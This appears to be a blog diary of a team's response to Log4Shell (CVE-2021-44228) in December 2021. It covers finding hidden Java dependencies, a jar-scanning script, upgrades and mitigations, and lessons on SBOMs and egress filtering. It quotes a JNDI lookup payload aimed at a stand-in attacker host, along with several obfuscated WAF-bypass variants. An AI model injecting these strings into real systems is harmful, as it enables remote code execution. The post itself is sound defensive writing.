Log4Shell: a Christmas of patches
We're a Go shop, so Log4Shell couldn't hurt us, right? A diary of three weeks of hunting for Java in places we'd forgotten about, four Log4j releases and a holiday that wasn't.
I’m writing this between Christmas and New Year, with a laptop on my lap and a cat on the laptop. It’s the first evening in three weeks that I haven’t checked a security advisory. Well, it’s half past eight. The evening is still young.
For those who were lucky enough to be on a remote island this month: Log4Shell (CVE-2021-44228) is a vulnerability in Log4j 2, the most widely used logging library in the Java world. If an attacker can get a string like ${jndi:ldap://evil.example.com/a} into a log message, Log4j helpfully performs a JNDI lookup, fetches a class from the attacker’s server and runs it. Remote code execution through a log line. CVSS score 10 out of 10. And “a string that ends up in a log” is roughly everything: a User-Agent header, a username, a search query, a chat message.
Thursday 9 December: “we’re fine, we’re a Go shop”#
The proof of concept went public on Thursday evening. In our team channel, someone posted the link with the comment “glad we don’t do Java”. I replied with a thumbs up. That was, in hindsight, a bit premature.
Friday 10 December: we are not a Go shop#
Friday morning I made a list of everything running on our platform that isn’t our own Go code. That list was longer than I’d like to admit:
- Elasticsearch for our logs. Java, so Log4j.
- Kafka and ZooKeeper. Java.
- A Java service that came along with a small acquisition two years ago and that nobody really wanted to own.
- A self-hosted tool from a vendor that the sales team uses. Also Java, it turned out, inside a Docker image we’d never looked into.
- Our CI runners, on which the occasional Java build runs for an Android client.
“We’re a Go shop” is true for the code we write. It’s not true for the code we run. That’s my main lesson of the month, and I’ll come back to it.
The quick mitigation that made the rounds on Friday was setting -Dlog4j2.formatMsgNoLookups=true (for Log4j 2.10 and later) or upgrading to 2.15.0. We did both where we could. For the acquisition service we rebuilt with 2.15.0 and shipped it on Friday afternoon. Yes, a Friday deploy. Jef from the agency would have had a heart attack.
Weekend: finding all the jars#
The hard question was: where is Log4j really? Not only in the obvious places, but also as a dependency of a dependency, inside a fat jar, inside a Docker image. A simple search for log4j-core-*.jar misses half, because Spring Boot apps and the like package their dependencies inside a single jar.
We ran this on every node and in every image we could get our hands on:
find / -xdev \( -name '*.jar' -o -name '*.war' -o -name '*.ear' \) 2>/dev/null |
while read -r f; do
if unzip -l "$f" 2>/dev/null | grep -qE 'JndiLookup\.class|log4j-core-2\.'; then
echo "$f"
fi
done
The JndiLookup.class catches Log4j classes that were shaded straight into a jar; the log4j-core-2. pattern catches nested jars in a fat jar (BOOT-INF/lib/log4j-core-2.x.jar). It’s not perfect (jars nested two levels deep slip through) but it got us a lot further than find alone.
Results: Elasticsearch, the acquisition service, the vendor tool, and, to our surprise, an old build of an internal reporting tool that someone had “temporarily” put on a VM in 2019.
Kafka turned out to still be on Log4j 1.x. That one isn’t vulnerable to Log4Shell, because 1.x doesn’t have the lookup feature. But 1.x has been end-of-life since 2015 and has its own issues. So: not on fire, but definitely smouldering.
Monday 13 to Friday 17 December: the second and third wave#
On Tuesday it turned out that 2.15.0 didn’t fix everything: CVE-2021-45046, exploitable in certain non-default configurations. Off to 2.16.0, which disables JNDI by default and removes message lookups entirely. Rebuild, redeploy.
Elastic shipped updated versions that set the mitigation by default, and explained that the Java Security Manager in Elasticsearch limited the impact. We upgraded anyway. I wasn’t in the mood for nuance.
The vendor tool was the worst. Their advisory said “investigating” for a whole week. In the meantime we put it behind the VPN, blocked all outgoing traffic from that container with a NetworkPolicy, and, following the official Apache advice, removed the vulnerable class from the jar:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Patching a vendor’s software by deleting files from a jar. Not my proudest engineering moment, but it worked.
On Saturday the 18th came 2.17.0, for a denial-of-service issue (CVE-2021-45105). And the day before yesterday 2.17.1, for yet another CVE (CVE-2021-44832), which requires an attacker to be able to modify your logging configuration, so a lot less urgent. We’ll pick that one up next week. Probably.
What our WAF taught us#
Our cloud provider’s WAF got rules for ${jndi: within a day. Within the same day there were bypasses: ${${lower:j}ndi:...}, ${${::-j}${::-n}${::-d}${::-i}:...}, and countless variants. In our access logs we saw hundreds of attempts per hour, in User-Agent headers, in URLs, in form fields. A WAF is a nice extra layer. It’s not a patch.
What I take away from it#
- You don’t know what you’re running. We knew our own dependencies to the letter. We had no idea what was inside the third-party images on our cluster. We’re going to start generating an inventory of every image (an SBOM, as the cool kids call it) and make it searchable. The next Log4Shell, I want to answer “are we affected?” in ten minutes, not three days.
- Egress filtering is underrated. Log4Shell needs an outgoing connection to fetch the payload. Workloads that have no business talking to the internet shouldn’t be able to. We had that for some namespaces, not for all. Now we do.
- Logging is attack surface. I never thought about it that way. A logging library is supposed to write strings, not interpret them.
- Open source runs on volunteers. Log4j is maintained by a handful of people in their spare time, and half the internet depends on it. Those people spent their Christmas fixing CVE after CVE under a lot of pressure, while companies making billions with their code tweeted that “they’re investigating”. If your company depends on a library like that, put some money towards it. I’m going to raise it internally in January.
Segfault, by the way, has made it clear that she wants the laptop off her spot. I think she’s right. Happy New Year, and may 2022 bring fewer CVEs. I’m not holding my breath.